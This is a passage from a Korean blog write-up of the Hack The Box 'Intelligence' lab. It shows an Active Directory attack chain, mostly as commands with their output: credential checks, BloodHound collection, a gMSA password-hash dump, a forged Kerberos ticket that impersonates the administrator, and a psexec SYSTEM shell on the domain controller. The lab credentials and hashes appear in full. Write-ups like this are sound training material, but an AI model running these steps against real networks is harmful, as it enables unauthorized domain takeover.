LDAP        10.129.95.154   389    DC               [+] intelligence.htb\Ted.Graves:Mr.Teddy

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# crackmapexec smb 10.129.95.154 -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
SMB         10.129.95.154   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB         10.129.95.154   445    DC               [+] intelligence.htb\Ted.Graves:Mr.Teddy

3.1.1. BloodHound

bloodhound-python으로 Ted.Graves 계정을 통해 BloodHound에 로드할 Active Directory 데이터를 덤프한다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# bloodhound-python -d 'intelligence.htb' -u 'Ted.Graves' -p 'Mr.Teddy' -dc 'dc.intelligence.htb' -c all -ns 10.129.95.154
INFO: Found AD domain: intelligence.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
WARNING: Could not resolve: svc_int.intelligence.htb: The DNS query name does not exist: svc_int.intelligence.htb.
INFO: Done in 00M 41S

Ted 계정은 ITSUPPORT 그룹에 멤버로 확인된다.

ITSUPPORT 그룹은 svc_int 계정으로 비밀번호를 읽을 수 있는 권한 : READGMSAPasword이 존재한다.

GMSA(Group Managed Service Accounts)

3.1.2. GMSA Password Dump

GMSA을 통해 패스워드를 읽을 수 있는 방법을 찾던 중 gMSADumper를 찾을 수 있었고, 해당 도구와 Ted 계정을 통해 GMSA 패스워드를 읽을 수 있었다.

┌──(root㉿kali)-[~/Desktop/gMSADumper]
└─# python3 gMSADumper.py -u 'Ted.Graves' -p '테드비번' -l 'intelligence.htb' -d 'intelligence.htb'
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::ff3418066942aa8bd228ea17dc71999a
svc_int$:aes256-cts-hmac-sha1-96:30844881b57965c3a115cafa00eb0935928ff0af889f3818e0bc1ccf50c0cbfb
svc_int$:aes128-cts-hmac-sha1-96:327f8f8594183dfe4f430986556147b2

4. Privilege Esculation

Ted.Graves 계정의 GMSA 패스워드를 읽을 수 있는 권한을 통해 svc_int 계정의 패스워드 해시를 탈취할 수 있었다. 이를 이용하여 관리자로 권한 상승을 진행한다.

4.1. Request Ticket (Silver Ticket Attack)

이전 포스팅 중 HTB-Support에서도 이용했던 Impacket-GetST와 탈취한 svc_int 계정의 패스워드 해시를 이용해 티켓을 제작한다.

4.1.1. svc_int

svc_int 계정의 권한으로 GetST 모듈을 통해 실버 티켓을 생성하려면 계정의 SPN(Service Principal Name)을 확인해야한다.

이미 기존에 Ted 계정을 통해 BloodHound에 AD 정보가 로드되어있어 쉽게 확인할 수 있다.

KRB_AP_ERR_SKEW(Clock skew too great)

하지만 실버 티켓을 요청 시 아래와 같은 시간 동기화 에러가 발생한다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# impacket-getST intelligence.htb/svc_int -dc-ip dc.intelligence.htb -impersonate Administrator -spn www/dc.support.htb -aesKey 30844881b57965c3a115cafa00eb0935928ff0af889f3818e0bc1ccf50c0cbfb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

해당 에러를 해결하기 위해 현재 공격자 PC와 DC와의 시간을 통기화한다.

첫번째 커멘드는 현재 공격자 PC가 VirtualBox에 올라간 VM환경이라 virtualbox-guest-utils를 중지했다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# service virtualbox-guest-utils stop

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# ntpdate 10.129.95.154
2023-09-21 14:55:44.27205 (-0400) +25200.415941 +/- 0.114775 10.129.95.154 s1 no-leap
CLOCK: time stepped by 25200.415941

이후 다시 실버 티켓을 요청하면 administrator.ccache 파일이 생성된다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# impacket-getST intelligence.htb/svc_int -dc-ip 10.129.95.154 -impersonate administrator -spn www/dc.intelligence.htb -hashes :ff3418066942aa8bd228ea17dc71999a
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache

4.1.2. Administrator

KRB5CCNAME 환경 변수에 가져온 실버 티켓을 등록하고 psexec를 통해 administrator로 접근이 가능했다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# impacket-psexec intelligence.htb/administrator@dc.intelligence.htb -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file hrtBRxYD.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service KasB on dc.intelligence.htb.....
[*] Starting service KasB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글